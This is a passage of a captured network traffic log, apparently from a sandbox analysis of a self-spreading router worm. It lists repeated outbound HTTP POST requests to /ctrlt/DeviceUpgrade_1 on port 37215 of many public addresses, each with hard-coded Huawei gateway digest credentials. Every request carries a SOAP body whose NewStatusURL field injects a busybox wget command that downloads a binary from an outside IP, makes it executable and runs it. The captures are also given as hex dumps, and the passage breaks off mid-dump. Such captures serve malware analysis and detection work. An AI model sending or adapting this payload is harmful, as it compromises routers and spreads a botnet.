2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.14	40756	41.55.124.183	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.606395960 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.14	43508	41.134.51.115	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.606400013 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.14	49990	196.207.169.224	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.606452942 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.14	45878	41.190.123.131	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.606472015 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.14	35902	157.51.252.216	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.606513023 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.14	39712	41.59.74.157	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.606513977 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.14	40034	41.37.124.216	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.606559038 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.14	44668	182.53.203.199	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.606580019 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.14	33270	157.87.117.169	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.606630087 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.14	46180	157.252.179.4	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.606630087 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.14	57910	67.173.236.255	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.606659889 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 